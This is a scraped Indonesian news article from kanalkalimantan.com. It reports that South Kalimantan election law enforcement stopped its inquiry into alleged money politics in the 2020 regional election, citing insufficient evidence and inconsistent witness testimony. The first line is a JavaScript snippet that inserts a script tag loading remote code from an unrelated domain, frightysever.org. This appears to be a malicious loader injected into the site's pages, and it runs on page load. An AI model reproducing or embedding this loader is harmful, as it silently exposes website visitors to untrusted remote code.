(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Setelah 5 hari melakukan pendalaman dan memeriksa sedikitnya 4 saksi dan melakukan konsultasi dengan ahli hukum pidana, Sentra Penegakan Hukum Terpadu (Gakkumdu) Provinsi Kalsel menghentikan penyelidikan dugaan politik uang yang dilakukan oleh salah satu pasangan calon (paslon) di Pilkada Kalsel.
Pernyataan resmi disampaikan oleh Kordonator Divisi Penindakan Pelanggaran Bawaslu Provinsi Kalsel, Azhar Ridhanie di kantor Bawaslu Provinsi Kalsel, Rabu (7/10/2020) siang.
Menurut Aldo -sapaannya- berdasarkan penyelidikan yang dilakukan Sentra Gakkumdu Provinsi Kalsel dan telah mendatangi lokasi diduga terjadinya politik uang di Amuntai pada Sabtu (3/10/2020) lalu, tidak ada janji-janji maupun ajakan untuk memilih salah satu paslon ataupun tidak memilih salah satu paslon tertentu di Pilkada Kalsel.
“Kemudian, bahwa tidak ditemukan fakta dari keterangan para saksi siapa yang memberikan pecahan uang sebesar Rp50 ribu,” kata Aldo.
Lebih lanjut ia menjelaskan, Sentra Gakkumdu Provinsi Kalsel tidak mendapati adanya kesesuaian antara saksi satu dengan yang lainnya. Kemudian, tidak terdapat
adanya persesuaian antara keterangan saksi dengan bukti lainnya. “Berdasarkan fakta tersebut, dugaan tindak pidana pemilihan dengan pelapor atas nama Jurkani tidak bisa dilanjutkan ke tahap penyidikan,” tegas Aldo.
Aldo menerangkan, tidak dilanjutkannya laporan dugaan pelanggaran pemilu berupa politik uang ini, karena tidak cukupnya barang bukti dan ketidaksesuaian keterangan para saksi untuk memenuhi unsur-unsur. Sesuai yang diatur pada Pasal 187 huruf (a) Undang-undang Nomor 10 Tahun 2020.
“Sedangkan untuk netralitas ASN (aparatur sipil negara), akan kami rekomendasikan kepada Komisi ASN. Terkait dengan subjek yang diduga melanggar netralitas ASN. Statusnya nanti kami sampaikan di Bawaslu Provinsi Kalsel maupun media pengumuman,” lugas Aldo.
Sebelumnya, Tim Hukum paslon Denny Indrayana-Difriadi (H2D) melalui Ketua Tim Hukum, Jurkani melaporkan dugaan politik uang yang melibatkan salah satu paslon di Amuntai, Kabupaten Hulu Sungai Utara (HSU) ke Sentra Gakkumdu Provinsi Kalsel pada Kamis (1/10/2020) lalu.
Bahkan, Jurkani saat itu mengklaim, dalam pelaporan tersebut pihaknya telah menyiapkan barang bukti berupa sarung dan uang tunai yang diduga digunakan sebagai sarana membeli suara masyarakat. (kanalkalimantan.com/fikri)
Reporter: Fikri
Editor : Bie
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
This website uses cookies.